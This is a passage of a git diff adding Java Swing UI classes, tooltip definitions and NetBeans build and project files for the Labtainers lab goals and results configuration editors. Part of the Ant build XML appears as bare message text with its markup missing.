+ * @author Dan + */ +public class ParamReferenceStorage { + + public static final ToolTipWrapper[] GoalType_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("matchany", "Results from all timestamped sets are evaluated.
" + + "If the answertag names a result, then both that
" + + "result and the resulttag must occur in the same
" + + "timestamped set. The ’matchany’ goals are treated
" + + "as a set of values, each timestamped based on the
" + + "timestamp of the reference resulttag."), + // 1 + new ToolTipWrapper("matchlast", "only results from the latest timestamped set are
" + + "evaluated."), + // 2 + new ToolTipWrapper("matchacross", "The resulttag and answertag name results. The
" + + "operator is applied against values in different
" + + "timestamped sets. For example, a \"string_diff\"
" + + "operator would require the named results to have
" + + "at least two distinct values in different
" + + "timestamped sets."), + // 3 + new ToolTipWrapper("boolean", "The goal value is computed from a boolean expression
" + + "consisting of goal_id’s and boolean operators, (\"and\",
" + + "\"or\", \"and_not\", \"or_not\", and \"not\"), and parenthisis
" + + "for precedence. The goal_id’s must be from goals defined
" + + "earlier in the goals.config file, or boolean results
" + + "from results.config. The goal evalutes to
" + + "TRUE if the boolen expression evaluates to TRUE for any
" + + "of the timestamped sets of goal_ids, (see the ’matchany’
" + + "discussion above). The goal_id’s cannot include any
" + + "\"matchacross\" goals. NOTE: evaluation is within
" + + "timestamped sets. If you want to evaluate across
" + + "timestamps, use the count_greater_operator below."), + // 4 + new ToolTipWrapper("count_greater", "The goal is TRUE if the count of TRUE subgoals in the
" + + "list exceeds the given value. The subgoals are
" + + "summed across all timestamps. The subgoal list is
" + + "comma-separated within parenthesis."), + // 5 + new ToolTipWrapper("time_before", "Both goal1 and goal2 must be goal_ids from previous
" + + "matchany, or boolean values from results.config
" + + "A timestamped goal is created for each goal2
" + + "timestamped instance whose timestamp is proceeded
" + + "by a goal1 timestamped instance. The goal for that
" + + "timestamp will be TRUE if the goal2
" + + "instance is TRUE, and at least one of the goal1
" + + "instances is TRUE. These timestamped goals can
" + + "then be evaluated within boolean goals."), + // 6 + new ToolTipWrapper("time_during", "Both goal1 and goal2 must be goal_ids from previous
" + + "matchany goal types, or boolean values from
" + + "results.config. Timestamps include a start and end
" + + "time, reflecting when the program starts and when it
" + + "terminates. A timestamped goal is created for each
" + + "goal2 range that encompasses a goal1 timestamp.
" + + "The goal for that timestamp will be TRUE if the
" + + "goal2 instance is TRUE, and at least one goal1 instance
" + + "is TRUE. These timestamped goals can then be
" + + "evaluated within boolean goals."), + // 7 + new ToolTipWrapper("time_not_during", "Similar to time_during, but timestamped goals are
" + + "always created for each goal2. Each such goal is True
" + + "unless one or more goal1 times occur within a True goal2
" + + "range."), + // 8 + new ToolTipWrapper("execute", "The is treated as a file name of a script to
" + + "execute, with the resulttag and answertag passed to the
" + + "script as arguments. The resulttag is expected to be
" + + "one of the symbolic names defined in the results.config
" + + "file, while the answertag is expected to be a literal
" + + "value or the symbolic name in the parameters.config file
" + + "Note: the answertag cannot be a symbolic name from
" + + "results.config"), + // 9 + new ToolTipWrapper("count_value", "If the remainder of the line only includes a resulttag,
" + + "then the goal value is assigned the quanity of
" + + "timestamped files containing the given resulttag.
" + + "Otherwise the goal value is assigned the
" + + "quantity of timestamped files having results
" + + "that satisfy the given operator and arguments."), + // 10 + new ToolTipWrapper("count_matches", "If the remainder of the line only includes a resulttag,
" + + "then the goal value is assigned the quanity of
" + + "timestamped files containing the given resulttag.
" + + "Otherwise the goal value is assigned the
" + + "quantity of timestamped files having results
" + + "that satisfy the given operator and arguments."), + // 11 + new ToolTipWrapper("value", "The goal value is assigned the given resulttag value from
" + + "the most recent timestamped file that contains the resulttag."), + + // 12 + new ToolTipWrapper("matchExpression", "The resultTag is an arithmetic expression")}; + + + public static final ToolTipWrapper[] Operator_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("string_equal", "The strings derived from answertag and resulttag
" + + "are equal."), + // 1 + new ToolTipWrapper("string_diff", "The line_id is an integer line number
" + + "(starting at one). Use of this to identify
" + + "lines is discouraged since minor lab changes
" + + "might alter the count."), + // 2 + new ToolTipWrapper("string_start", "the line_id is a string. This names the
" + + "first occurrence of a line that starts with
" + + "this string." ), + // 3 + new ToolTipWrapper("string_end", "The line_id is a string. This names the
" + + "first occurrence of a line that contains the
" + + "string." ), + // 4 + new ToolTipWrapper("string_contains", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 5 + new ToolTipWrapper("integer_equal", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 6 + new ToolTipWrapper("integer_greater", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." ), + + // 7 + new ToolTipWrapper("integer_lessthan", "The line_id is a regular expression. This names the
" + + "first occurrence of a line that matches the regular
" + + "expression. Also see the \"GROUP\" field_type." )}; + + + //Answer Types + public static final String[] answerTypes = new String[] { + "Literal", + "Result Tag", + "Parameter", + "Parameter ASCII" + }; + + //Boolean Result Types + public static final ArrayList booleanResultTypes = new ArrayList(Arrays.asList( + "CONTAINS", + "FILE_REGEX", + "LOG_TS", + "FILE_REGEX_TS", + "LOG_RANGE", + "TIME_DELIM" + )); + + //Input format 1: [operator : resultTag : answerTag] + public static final ArrayList opInput = new ArrayList(Arrays.asList( + "matchany", + "matchlast", + "matchacross", + "count_matches" + )); + + //Input format 2: [goal1 : goal2] + public static final ArrayList goalInput = new ArrayList(Arrays.asList( + "time_before", + "time_during", + "time_not_during" + )); + + //Input format 2: [resultTag] + public static final ArrayList resultTagInput = new ArrayList(Arrays.asList( + "count_value", + "value" + )); + + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java new file mode 100644 index 000000000..a94b57ec1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ToolTipHandlers.java @@ -0,0 +1,75 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package GoalsUI; + +import java.awt.Component; +import javax.swing.DefaultComboBoxModel; +import javax.swing.DefaultListCellRenderer; +import javax.swing.JComboBox; +import javax.swing.JComponent; +import javax.swing.JList; + +/** + * + * @author Daniel Liao + */ +public class ToolTipHandlers { + public static interface ToolTipProvider{ + public String getToolTip(); + } + + //Stores an item and its correspoinding tool tip. (Items put into a combobox) + public static class ToolTipWrapper implements ToolTipProvider{ + final String item; + final String toolTip; + + public ToolTipWrapper(String item, String toolTip){ + this.item = item; + this.toolTip = toolTip; + } + + @Override + public String getToolTip(){ + return toolTip; + } + + @Override + public String toString(){ + return item; + } + + public String getItem(){ + return item; + } + } + + //custom combobox renderer to handle ToolTipWrapper objects that contain an string item and string tool tip + public static class ComboBoxRenderer extends DefaultListCellRenderer { + + @Override + public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { + JComponent component = (JComponent) super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); + String tip = null; + if (value instanceof ToolTipProvider) { + ToolTipProvider ttp = (ToolTipProvider) value; + tip = ttp.getToolTip(); + } + list.setToolTipText(tip); + return component; + } + } + + //Sets the combo items with associated tool tips (called in the constructors) + public static void setComboItems(JComboBox combobox, ToolTipWrapper[] items){ + ComboBoxRenderer renderer = new ComboBoxRenderer(); + combobox.setRenderer(renderer); + + for (ToolTipWrapper item : items) { + if(((DefaultComboBoxModel)combobox.getModel()).getIndexOf(item) == -1) + combobox.addItem(item); + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml new file mode 100644 index 000000000..33706d5f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/build.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + Builds, tests, and runs the project ResultsUIAug30. + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf new file mode 100644 index 000000000..1574df4a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/manifest.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +X-COMMENT: Main-Class will be added automatically by build + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml new file mode 100644 index 000000000..89fe3d83d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/build-impl.xml @@ -0,0 +1,1420 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + No tests executed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set JVM to use for profiling in profiler.info.jvm + Must set profiler agent JVM arguments in profiler.info.jvmargs.agent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + Must select one file in the IDE or set profile.class + This target only works when run from inside the NetBeans IDE. + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + Must select some files in the IDE or set test.includes + + + + + Must select one file in the IDE or set run.class + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + Must select some files in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + Must select one file in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + + + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties new file mode 100644 index 000000000..3236f5d57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=06f40a7b +build.xml.script.CRC32=dc6ed3ed +build.xml.stylesheet.CRC32=8064a381@1.80.1.48 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=06f40a7b +nbproject/build-impl.xml.script.CRC32=486037cd +nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties new file mode 100644 index 000000000..9436b19f6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/private/private.properties @@ -0,0 +1,2 @@ +compile.on.save=true +user.properties.file=C:\\Users\\Dan\\AppData\\Roaming\\NetBeans\\8.2\\build.properties diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties new file mode 100644 index 000000000..a6e77a4fd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.properties @@ -0,0 +1,75 @@ +annotation.processing.enabled=true +annotation.processing.enabled.in.editor=false +annotation.processing.processor.options= +annotation.processing.processors.list= +annotation.processing.run.all.processors=true +annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output +build.classes.dir=${build.dir}/classes +build.classes.excludes=**/*.java,**/*.form +# This directory is removed when the project is cleaned: +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +# Only compile against the classpath explicitly listed here: +build.sysclasspath=ignore +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +# Uncomment to specify the preferred debugger connection transport: +#debug.transport=dt_socket +debug.classpath=\ + ${run.classpath} +debug.test.classpath=\ + ${run.test.classpath} +# Files in build.classes.dir which should be excluded from distribution jar +dist.archive.excludes= +# This directory is removed when the project is cleaned: +dist.dir=dist +dist.jar=${dist.dir}/ResultsUIAug30.jar +dist.javadoc.dir=${dist.dir}/javadoc +excludes= +includes=** +jar.compress=false +javac.classpath=\ + ${libs.absolutelayout.classpath} +# Space-separated list of extra javac options +javac.compilerargs= +javac.deprecation=false +javac.external.vm=true +javac.processorpath=\ + ${javac.classpath} +javac.source=1.8 +javac.target=1.8 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +javac.test.processorpath=\ + ${javac.test.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +main.class=ResultsUI.ResultsUI +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +mkdist.disabled=false +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +# Space-separated list of JVM arguments used when running the project. +# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. +# To set system properties for unit tests define test-sys-prop.name=value: +run.jvmargs= +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +source.encoding=UTF-8 +src.dir=src +test.src.dir=test diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml new file mode 100644 index 000000000..1f8e85a84 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/nbproject/project.xml @@ -0,0 +1,15 @@ + + + org.netbeans.modules.java.j2seproject + + + ResultsUIAug30 + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form new file mode 100644 index 000000000..f2c6f5439 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.form @@ -0,0 +1,283 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java new file mode 100644 index 000000000..10d417cca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ArtifactPanels.java @@ -0,0 +1,461 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package ResultsUI; + +import static ResultsUI.ParamReferenceStorage.FieldType_ITEMS; +import static ResultsUI.ParamReferenceStorage.LOG_ACCESIBLE_FieldType; +import static ResultsUI.ParamReferenceStorage.LOG_TS_ACCESSIBLE_LineType; +import static ResultsUI.ParamReferenceStorage.LineType_ITEMS; +import static ResultsUI.ParamReferenceStorage.SpecialTimeStampType; +import static ResultsUI.ParamReferenceStorage.TimestampType_ITEMS; +import static ResultsUI.ParamReferenceStorage.justFieldType; +import static ResultsUI.ParamReferenceStorage.lineParamAccessible; +import static ResultsUI.ParamReferenceStorage.timeStampDelimiterAccessible; +import ResultsUI.ToolTipHandlers.ToolTipWrapper; +import static ResultsUI.ToolTipHandlers.setComboItems; +import java.awt.Dimension; +import java.util.ArrayList; +import javax.swing.DefaultComboBoxModel; +import javax.swing.JComboBox; +import javax.swing.JPanel; +import javax.swing.JTextField; + +/** + * + * @author Dan + */ +public class ArtifactPanels extends javax.swing.JPanel { + + static Dimension dim = new Dimension(975, 100); + ResultsUI uiResult; + ResultsData dataUI; + int rowNum; + + //Creating fresh artifact line + public ArtifactPanels(ResultsUI ui, ArrayList containers, int rowNum) { + initComponents(); + this.uiResult = ui; + this.dataUI = ui.dataUI; + this.rowNum = rowNum; + rowLabel.setText(Integer.toString(rowNum)); + TimeDelimiterTextField.setVisible(false); + + //Load ComboBox Items + ContainerComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(containers.toArray(new String[containers.size()]))); + setComboItems(FieldTypeComboBox, FieldType_ITEMS); + setComboItems(LineTypeComboBox, LineType_ITEMS); + setComboItems(TimeStampComboBox, TimestampType_ITEMS); + + this.revalidate(); + this.repaint(); + } + + //Loading artifact line + public ArtifactPanels(ResultsUI ui, ArrayList containers, int rowNum, String resultTag, String container, String fileID, ToolTipWrapper fieldType, String fieldID, ToolTipWrapper lineType, String lineID, ToolTipWrapper timeStampType, String timeStampDelimiter) { + initComponents(); + this.uiResult = ui; + this.dataUI = ui.dataUI; + this.rowNum = rowNum; + rowLabel.setText(Integer.toString(rowNum)); + if(!timeStampDelimiterAccessible.contains(timeStampType.getItem())) + TimeDelimiterTextField.setVisible(false); + + //Load ComboBox Items + ContainerComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(containers.toArray(new String[containers.size()]))); + setComboItems(FieldTypeComboBox, FieldType_ITEMS); + setComboItems(LineTypeComboBox, LineType_ITEMS); + setComboItems(TimeStampComboBox, TimestampType_ITEMS); + + //Set Values + setContainerComboBox(container); + setFieldIDTextField(fieldID); + setTagTextField(resultTag); + setFileTextField(fileID); + setFieldTypeComboBox(fieldType); + setLineIDTextField(lineID); + setLineTypeComboBox(lineType); + setTimeStampComboBox(timeStampType); + setTimeDelimiterTextField(timeStampDelimiter); + + this.revalidate(); + this.repaint(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ArtifactPanel = new javax.swing.JPanel(); + TagTextField = new javax.swing.JTextField(); + ContainerComboBox = new javax.swing.JComboBox<>(); + FileTextField = new javax.swing.JTextField(); + FieldTypeComboBox = new javax.swing.JComboBox<>(); + LineTypeComboBox = new javax.swing.JComboBox<>(); + FieldIDTextField = new javax.swing.JTextField(); + LineIDTextField = new javax.swing.JTextField(); + TimeStampComboBox = new javax.swing.JComboBox<>(); + TimeDelimiterTextField = new javax.swing.JTextField(); + DeleteButton = new javax.swing.JButton(); + rowLabel = new javax.swing.JLabel(); + UpButton = new javax.swing.JButton(); + DownButton = new javax.swing.JButton(); + + setPreferredSize(new java.awt.Dimension(1110, 69)); + + ArtifactPanel.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED)); + ArtifactPanel.setMinimumSize(new java.awt.Dimension(1400, 0)); + ArtifactPanel.setPreferredSize(new java.awt.Dimension(1300, 34)); + + FieldTypeComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + FieldTypeComboBoxItemStateChanged(evt); + } + }); + + LineTypeComboBox.setToolTipText("Identifies how the line is to be identified"); + LineTypeComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Line Type")); + LineTypeComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + LineTypeComboBoxItemStateChanged(evt); + } + }); + + FieldIDTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Field ID")); + + LineIDTextField.setToolTipText("Parameter based on Line Type"); + LineIDTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Line ID")); + + TimeStampComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Timestamp Type")); + TimeStampComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + TimeStampComboBoxItemStateChanged(evt); + } + }); + + TimeDelimiterTextField.setHorizontalAlignment(javax.swing.JTextField.LEFT); + TimeDelimiterTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Time Delimiter")); + TimeDelimiterTextField.setMinimumSize(new java.awt.Dimension(20, 100)); + + javax.swing.GroupLayout ArtifactPanelLayout = new javax.swing.GroupLayout(ArtifactPanel); + ArtifactPanel.setLayout(ArtifactPanelLayout); + ArtifactPanelLayout.setHorizontalGroup( + ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 116, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(6, 6, 6) + .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(FieldTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 160, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(FieldIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 188, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(14, 14, 14) + .addComponent(LineTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 165, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(LineIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 135, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 137, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + ArtifactPanelLayout.setVerticalGroup( + ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createSequentialGroup() + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createSequentialGroup() + .addGap(12, 12, 12) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(TagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ContainerComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(FileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(FieldTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) + .addGroup(ArtifactPanelLayout.createSequentialGroup() + .addContainerGap() + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE, false) + .addComponent(LineTypeComboBox) + .addComponent(LineIDTextField) + .addComponent(TimeStampComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(FieldIDTextField) + .addComponent(TimeDelimiterTextField, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))) + .addContainerGap(12, Short.MAX_VALUE)) + ); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {TimeDelimiterTextField, TimeStampComboBox}); + + DeleteButton.setText("Delete"); + DeleteButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DeleteButtonActionPerformed(evt); + } + }); + + rowLabel.setFont(new java.awt.Font("Arial", 1, 24)); // NOI18N + rowLabel.setText("10"); + + UpButton.setText("^"); + UpButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpButtonActionPerformed(evt); + } + }); + + DownButton.setText("v"); + DownButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + DownButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(rowLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(ArtifactPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 1390, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(UpButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(DownButton, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + 